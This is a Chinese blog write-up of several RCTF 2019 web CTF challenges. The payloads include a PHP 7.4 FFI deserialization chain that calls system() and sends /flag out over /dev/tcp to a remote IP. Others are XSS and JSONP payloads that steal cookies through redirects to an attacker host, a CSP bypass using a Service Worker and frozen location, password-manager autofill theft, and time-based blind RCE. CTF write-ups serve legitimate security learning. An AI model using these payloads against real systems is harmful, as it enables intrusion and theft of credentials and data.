复现这个环境真的要命,真的是整几天docker做一天题Orz
nextphp
进入直接没过滤可以执行命令
1 | <?php |
于是尝试?a=print_r(scandir(dirname(__FILE__)));
成功获得当前目录
于是尝试用system()执行命令无返回,于是echo phpinfo();
获得phpinfo()
查看发现反射类和执行命令用的方法被禁用于是另寻他路
尝试?a=show_source('preload.php');
获得preload.php源码
1 | <?php |
首先通过phpinfo可以知道环境是php7.4
在php7.4中新定义了两个用于序列化的魔术方法__serialize()和_unserialize(),用于自定义序列化的方式,详细用途见PHP RFC: New custom object serialization mechanism
除此之外在php7.x(不清楚)还新增了一个Serializable接口,这个接口中定义了serialize()和unserialize()这两个方法,也是用于重新定义序列化方式的(详见同上),但在与php7.4新增的这两个魔术方法同时存在时,会优先使用魔术方法
于是读一下代码我们就知道要通过反序列化调用run方法,然后执行命令,但问题在于执行命令的方法都被禁用了就很头大。
不过找一找php7.4的新特性就会发现,php7.4新增了一个外部函数接口(Foreign Function Interface),这个接口允许开发者在php中写C
这里是一个使用例子:PHP 外部函数接口 PHP-FFI
在这个接口中,我们可以通过FFI::cdef()
这个静态方法去创建一个FFI类,然后调用执行里面的C函数。而且FFI很牛逼地可以绕过php.ini中open_basedir和disable_functions的限制。这么强的一个接口官方自然会削一下,在默认设置下只允许在预加载的php文件中调用这个接口。不过正好另一个文件名preload翻译过来就是预加载,而且php7.4中的新特性也有预加载,解题的方向应该就是这个了。
接着查查看预加载
PHP 7.4中使用预加载的方法详解
大概就是通过设置可以将一部分较少需要修改的php文件编译为字节码后,缓存在opcache内存中以加快php的执行速度。被设置为预加载的文件可以通过phpinfo查看
查一下确实就是preload.php,于是先构造一下反序列化字符串
1 | <?php |
得到
C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:8:"FFI:cdef";s:3:"arg";s:31:"int system(const char *command);";}}
这里要用题目给的serialize()去序列化,因为是数据部分反序列化后直接赋给成员data。如果有变量名的话会变成二维数组,那就要data['data']
才能用我们构造的数组去正确覆盖掉成员data
然后直接通过a参数去执行反序列化,调用get方法获得ret变量最后再执行system()
于是payload:1
2
3unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__get('ret')->system('bash -c "cd ../../../../../../../;ls -l > /dev/tcp/ip/port"');
unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__get('ret')->system('bash -c "cat /flag > /dev/tcp/119.23.206.8/2333"');
获得目录与flag
jail
这是一道很有趣的XSS的题,有好几种解法。可惜复现时bot好像启用失败,只能写写大致的思路了
首先登录进入,整一下就会发现有两个可用的接口。?action=profile
用于上传文件,不过php和html都被限制了。另一个接口?action=post
一看就是搞XSS的
试着写个<img src="https://www.baidu.com">
,发现并没有加载,开一下控制台看看发现
由于Content Security Policy的限制导致资源没被加载,Content Security Policy是个啥玩意???百度一下百度一下
CSP这个东西大概就是类似于同源策略,不过同源策略限制的是不同源的话服务器端无法读客户端的数据,但无法避免客户端被利用去恶意加载不同源的服务器的资源。而CSP就是为此而生,通过CSP我们能够限制客户端可以允许读取的资源。
关于详细的CSP配置可以看这
CSP
于是从抓包看一下CSP的配置(同时也可以看到给了hint:flag在cookie)
1 | Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self'; |
可以看到iframe被限制,connect-src
限制了<a>, ping, fetch, XMLHttpRequest, WebSocket, EventSource
。不过script并没被完全限制,允许内联,本来想着能靠这个来进行跳转。但post接口中通过一段js,使用了freeze()冻结document.location
限制住了跳转
到这里,就有两个解题方向,一个是绕过CSP,另一个是绕过freeze()
先说绕freeze()
绕过freeze()好像属于非预期解,这里虽然freeze()冻结了document.location
,但用location.host
却可以被修改
找了下资料大概就是说freeze()会让对象不可拓展,同时将configurable和writable 属性设为false。
当configurable为false时,对象属性特性无法更改且无法删除属性;当writable 为false则不能更改属性值。
而由于href的writable 值被设为了false因此自然就不能修改,但host和hostname并没有writable特性,这两个属性的赋值与取值是通过setter和getter完成的,这就是能够修改host的原因
有一个能跳转的就好办,上一波payload
1 | <script> |
这里由于是修改host,所以不能通过get传参过去,只能通过不同级的域名发送过去。如果是用自己服务器接的记得要配二级以上的域名,不然会接不到。同时由于这个搭环境时默认是搭在12315端口上,所以不能用hostname,必须用host指定80端口(这里坑了我好久,不过还是因为bot没反应还是没打出来)
然后是绕过CSP。绕过CSP则有三种方法,一种是使用Service Worker,另一种是用WebRTC,还有一种是DNS-prefetch
首先什么是Service Worker,Service Worker可以看作是一个远程缓存的接口,起离线依旧保持用户的缓存状态等作用。
而Service Worker有一个特点,在Service Worker执行js代码时,会遵从的是这个js的CSP。
不过在注册Service Worker时会受到worker-src
与script-src
,在存在worker-src
时,若设为self
则可以注册,而不存在时则看script-src
。
还有作为Service Worker的服务器必须通过https进行数据交互
看post页面的CSP配置可以看到script-src是有self配置的,于是可以使用Service Worker。
script-src 'unsafe-inline' 'self';
于是先创建一个js
1 | fetch('https://ip或域名?' + encodeURIComponent(globalThis.location.href), {mode: 'no-cors'}) |
然后通过头像上传,再获得存储的位置,然后创建消息。
1 | <script>navigator.serviceWorker.register('/uploads/sw.js?'+encodeURIComponent(document.cookie),{scope: '/uploads/'});</script> |
这里我在本地测试了很多次,注册Service Worker但就是引入js后无法fetch传出数据,以后再查看看为什么吧(主要js还是不够熟)
然后WebRTC则是利用connect-src
没有限制WebRTC这个API,而且官方知道但好像没准备补(巨坑x),不过好像要搭ice服务器才能接收数据于是先坑了【逃
这是大佬们的payload
1 | <script> |
DNS-prefetch嘛,说是用js动态创建link标签然后利用 DNS 预解析查询外带数据
emmm…有时间我再整整这个
password
这题和上一题是同样的环境,于是还是只能写写思路
给了三个提示,第一个打密码,第二个是说不是chrome自带的密码管理,第三个是说获取html源码
那猜测大概是某种chrome插件管理密码,然后由于输入密码时会下拉框加载先前输入过的密码。于是我们可以通过XSS构造一个登录框,把所有保存的该站的密码给拿到。这可真是个斯巴拉西的操作
于是先按hint写一个登录框抓源码
1 | <input type="username" name="username"> |
这里要通过延时才能让候选密码显示
拿到读一下
1 | <input type="username" name="username" data-cip-id="cIPJQ342845639" class="cip-ui-autocomplete-input" autocomplete="off"> |
可以看到输入框处多了个data-cip-id
,百度一下发现是ChromeIPass拓展会添加的元素。本地安装一下,在出现候选密码时看一下源码,发现候选密码用的都是cip-ui-menu-item
这个class,于是我们可以专门去抓这个class处的数据
payload
1 | <input type="username" name="username"> |
这题依旧可以用上题的Sevice Worker和WebRTC以及DNS-prefetch的方法去做
calcalcalc
这题拿docker搭了后迷之用不了,不过好像原题就是给了源码,那就读着源码+wp来做好了
这题进去是一个计算器,输入后计算结果。不过这里会将计算丢入三个不同的后端(php,python和nodejs),进行计算后比对结果,结果相同再返回,不同则报错
看源码可以看到主页面是用typescript写的,没用过orz,看了好久大概看出整一个流程应该是
index.hbs→main.ts→app.module.ts→app.controller.ts→calculate.model.ts→expression.validator.ts
但我实在找不到post过去的数据是怎么传给CalculateModel的
读calculate.model.ts和expression.validator.ts可以看到
1 | @ExpressionValidator(15, { |
1 | export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) { |
这里限制了长度不得大于14,同时还进行了正则过滤
不过这个长度限制我们可以通过(args.object as CalculateModel).isVip
的值,也就是CalculateModel的isVip属性来绕过。
1 | public readonly isVip: boolean = false; |
虽然这里默认为false,但我们可以通过post数据去修改isVip的值,这也是我想找出post值是怎么传到CalculateModel的原因
然后正则就看payload要怎么写再想怎么绕吧
接着看看三个后端
1 | from flask import Flask, request |
python的可以看到是直接执行了,不过过滤了exec方法
1 | <?php |
php源码本身没过滤
1 | disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log |
但ini中过滤了system,exec,shell_exec这些方法,然后max_execution_time设置为了1
1 | const express = require('express') |
Nodejs也是过滤了几个模块以及执行时长
通过这几个源码我们可以知道,实际上我们的命令在后端是执行了,不过由于各个后端返回的结果不同于是报错获得不到想要的数据
于是尝试用curl但发现这几个后端都是在内网中的,不直接与公网连接,无法发送到我们的vps上。那就尝试一下时间盲注型的RCE
这里很神奇的是,虽然三个后端都有做执行时长限制,但测试会发现延时sleep(10)是可以成功的【不过我拿到的源码中是没有看到python有设置超时,也许是这个原因,但好像大佬们的wp中都有写python是设置了超时的
于是用list(range(10000000))
让python的执行时间延长
结果延时成功
然后就爆一波flag1
(ord(open("/flag").read()[0])==1) and set(1 for i in range(10000000))
不过这里为了绕过正则要转为chr()+chr()...
这样
但是经过尝试会发现,实际上正确与不正确的时长好像差不多
这里看大佬的wp解释是可能是由于语法不正确导致nodejs崩溃,一直处于crash状态导致不响应,最终使得加载时间变长。那接下来就是要想办法去不让nodejs执行
然后利用的是python的一个神奇的地方,如果是用//
python也是会执行除法,而在nodejs和php中//
我们知道是注释。于是我们就在payload前加个1//1
,这样php和nodejs只会得到1而不执行后面的命令,防止了语法错误
于是payload就是1
1//1 and (ord(open("/flag").read()[0])==1) and set(1 for i in range(10000000))
然后写波exp跑就可以了
1 | # -*- coding:utf8 -*- |
rblog2019
这题没docker只能全靠wp脑补题目【手动笑哭
进入是一个写有往年题wp的blog,查一下源码会发现引入了一个rblog.js
。再读一下这个js会发现/api/v2/posts
这个接口
于是访问一下固定地返回了首页的那三篇文章,修改成/api/v2/json发送获得1
{ "status": false, "message": "'\/json' not found.", "data": [] }
好像是个反射型xss的点,同时/被转义
于是尝试一下/api/v2/<img>
,然而什么都没发生,查了一下报文头发现Content-Type: application/json
。那这里是xss不了了
不过看着这个接口,既然是版本2,那是不是有版本1?于是尝试一下看看/api/v2/posts
,再看看报文头,发现是Content-Type: text/html; charset=UTF-8
。于是尝试/api/v1/<img>
,这次就有解析了
找到了XSS点,但依旧有三个限制,x-content-type-options和CSP以及chrome的XSS Auditor(题目里提示了Chrome 74)
先说x-content-type-options,这个响应首部是用来控制浏览器内容嗅探行为。由于浏览器的内容嗅探行为,尽管返回内容的MIME类型与Content-Type 首部中对 MIME 类型不相同,但依旧会将类型转化成可执行的MIME类型。但若x-content-type-options设置了nosniff,那浏览器就不会进行内容嗅探,这样就可以遏止很多MIME的绕过,而nosniff也只是对script以及style起效(但实际上我在本地测试了很多次依旧没达到预期效果,是我的姿势不对?)
具体见:web安全:x-content-type-options头设置
本来是要通过外部加载js的,但由于设置了x-content-type-options:nosniff
,我们就无法绕过Content-Type: text/html; charset=UTF-8
。不过题目给了一个jsonp的提示,这个提示就是用来绕这里的
我知道jsonp是用来解决跨域问题,但没去看过它真正是如何实现的
简单来说,jsonp就是通过src这样调用远程js的方法来实现的,后台会将数据括入方法中,以js的格式返回(类似于这样:return 'callback('.$data.')';)
,然后前端按照方法名进行回调。而一般情况下后台是不会知道前端实际上设置的方法名是什么,于是就出现了一个回调参数,常用是callback等等参数名。通过这个参数,后台即使不知道方法名是什么依旧可以让前端正常地进行回调
上面也说了返回是以js格式返回的,因此MIME的值为application/javascript
,于是我们可以直接绕开x-content-type-options
这里对posts接口测试一下,/api/v2/posts?callback=test
,返回1
test({...})
那看来是可以利用来执行js
接着是CSPContent-Security-Policy: default-src 'self'; object-src 'none'
这个CSP好像作用不是很大,也就对我们要用的script的限制了不允许内联以及向获取外部资源
到这里我们已经可以写出1
<script src="https://rblog.2019.rctf.rois.io/api/v1/posts?callback=parent.location.href='http://ip/?'%2bdocument.cookie;console.log"></script>
最后的console.log是用来充当回调,让语法正确
但是经过测试会发现/以及’被转义了,不过也就这两个被转义,我们可以用html实体编码一下,然后用iframe的srcdoc属性执行
于是1
<iframe srcdoc=<script src="https://rblog.2019.rctf.rois.io/api/v1/posts?callback=parent.location.href='http://ip/?'%2bdocument.cookie;console.log"></script>>
最后是XSS Auditor
最简单的来说就是查找url中是否有标签,同时html是否也有相同的,相同则将可能产生xss的标签的属性值直接去掉。
比如像
?xss=<iframe%20srcdoc=。。。%27https://www.baidu.com%27>
后面的链接直接被去掉,至于更详细的可以看
Chrome和IE的xss过滤器分析总结
那这里就要想办法让srcdoc中的值不非法。这里我们可以想,在后台是有进行过json编码的,而json编码对各种非英文字符都会直接转为unicode编码。我们可以利用这个特性,在url中传入中文,这样数据传到后台处理再返回回来后,显示在html中的就与url上的不同,这就成功绕过了XSS Auditor
像这样
?xss=<iframe%20srcdoc=。。。%27https://www.baidu.com%27>
结果
于是payload就是
1 | /api/v1/<iframe srcdoc=。。。%26%23%78%33%43%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%23%78%32%30%3b%26%23%78%37%33%3b%26%23%78%37%32%3b%26%23%78%36%33%3b%26%23%78%33%44%3b%26%23%78%32%32%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%37%33%3b%26%23%78%33%41%3b%26%23%78%32%46%3b%26%23%78%32%46%3b%26%23%78%37%32%3b%26%23%78%36%32%3b%26%23%78%36%43%3b%26%23%78%36%46%3b%26%23%78%36%37%3b%26%23%78%32%45%3b%26%23%78%33%32%3b%26%23%78%33%30%3b%26%23%78%33%31%3b%26%23%78%33%39%3b%26%23%78%32%45%3b%26%23%78%37%32%3b%26%23%78%36%33%3b%26%23%78%37%34%3b%26%23%78%36%36%3b%26%23%78%32%45%3b%26%23%78%37%32%3b%26%23%78%36%46%3b%26%23%78%36%39%3b%26%23%78%37%33%3b%26%23%78%32%45%3b%26%23%78%36%39%3b%26%23%78%36%46%3b%26%23%78%32%46%3b%26%23%78%36%31%3b%26%23%78%37%30%3b%26%23%78%36%39%3b%26%23%78%32%46%3b%26%23%78%37%36%3b%26%23%78%33%31%3b%26%23%78%32%46%3b%26%23%78%37%30%3b%26%23%78%36%46%3b%26%23%78%37%33%3b%26%23%78%37%34%3b%26%23%78%37%33%3b%26%23%78%33%46%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%43%3b%26%23%78%36%43%3b%26%23%78%36%32%3b%26%23%78%36%31%3b%26%23%78%36%33%3b%26%23%78%36%42%3b%26%23%78%33%44%3b%26%23%78%37%30%3b%26%23%78%36%31%3b%26%23%78%37%32%3b%26%23%78%36%35%3b%26%23%78%36%45%3b%26%23%78%37%34%3b%26%23%78%32%45%3b%26%23%78%36%43%3b%26%23%78%36%46%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%37%34%3b%26%23%78%36%39%3b%26%23%78%36%46%3b%26%23%78%36%45%3b%26%23%78%32%45%3b%26%23%78%36%38%3b%26%23%78%37%32%3b%26%23%78%36%35%3b%26%23%78%36%36%3b%26%23%78%33%44%3b%26%23%78%32%37%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%33%41%3b%26%23%78%32%46%3b%26%23%78%32%46%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%32%46%3b%26%23%78%33%46%3b%26%23%78%32%37%3b%26%23%78%32%35%3b%26%23%78%33%32%3b%26%23%78%36%32%3b%26%23%78%36%34%3b%26%23%78%36%46%3b%26%23%78%36%33%3b%26%23%78%37%35%3b%26%23%78%36%44%3b%26%23%78%36%35%3b%26%23%78%36%45%3b%26%23%78%37%34%3b%26%23%78%32%45%3b%26%23%78%36%33%3b%26%23%78%36%46%3b%26%23%78%36%46%3b%26%23%78%36%42%3b%26%23%78%36%39%3b%26%23%78%36%35%3b%26%23%78%33%42%3b%26%23%78%36%33%3b%26%23%78%36%46%3b%26%23%78%36%45%3b%26%23%78%37%33%3b%26%23%78%36%46%3b%26%23%78%36%43%3b%26%23%78%36%35%3b%26%23%78%32%45%3b%26%23%78%36%43%3b%26%23%78%36%46%3b%26%23%78%36%37%3b%26%23%78%32%32%3b%26%23%78%33%45%3b%26%23%78%33%43%3b%26%23%78%32%46%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%23%78%33%45%3b> |
ez4cr
这题与上题同环境,进入上题的管理员后台就是这题
还有上题的cookie返回了
1 | hint_for_rBlog_2019.2=the flag for rblog2019.2 is in the cookie of the report domain. You may need a chrome xss auditor bypass ._. |
这就是说我们又要打一次cookie
与上题同样,我们要找一个能返回text/html的接口,F12会在js中发现一个report.php的接口,于是抓下包发现是text/html页面
然后再尝试一个callback也成功返回了test({...})
,CSP也和上题是一样的,同时并没有对/和’进行转义,那就比上题更简单了
1 | https://report-rblog.2019.rctf.rois.io/report.php?callback=parent.location.href='http://ip/?'%2bdocument.cookie;console.log |
用这个返回js页面,然后
1 | https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src="https://report-rblog.2019.rctf.rois.io/report.php?callback=parent.location.href='http://ip/?'%2bdocument.cookie;console.log"></script> |
引入执行
不过这里还是有个XSS Auditor的过滤,和上题不同,这题我们并没有数据会在后台被进行json编码,那就不能和上题一样用同样的方法绕过
这题的绕过方式看wp的大佬们都是经过漫长的fuzz才整出来的,这里在script的src中如果使用http,在经过后端处理后会整成https,这样返回的内容就和url的不同了,真是tql
于是payload就是
1 | https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src="http://report-rblog.2019.rctf.rois.io/report.php?callback=parent.location.href='http://ip/?'%2bdocument.cookie;console.log"></script> |
这里会由http升为https是由于Cloudflare CDN 配置不妥所导致,配置CDN还是要小心点。不过这两题如果在cookie中设置了HttpOnly属性那也没XSS的事了2333333
不过好像CDN并不是预期解,看大佬们都没找出来,那这题的预期解到底是什么orz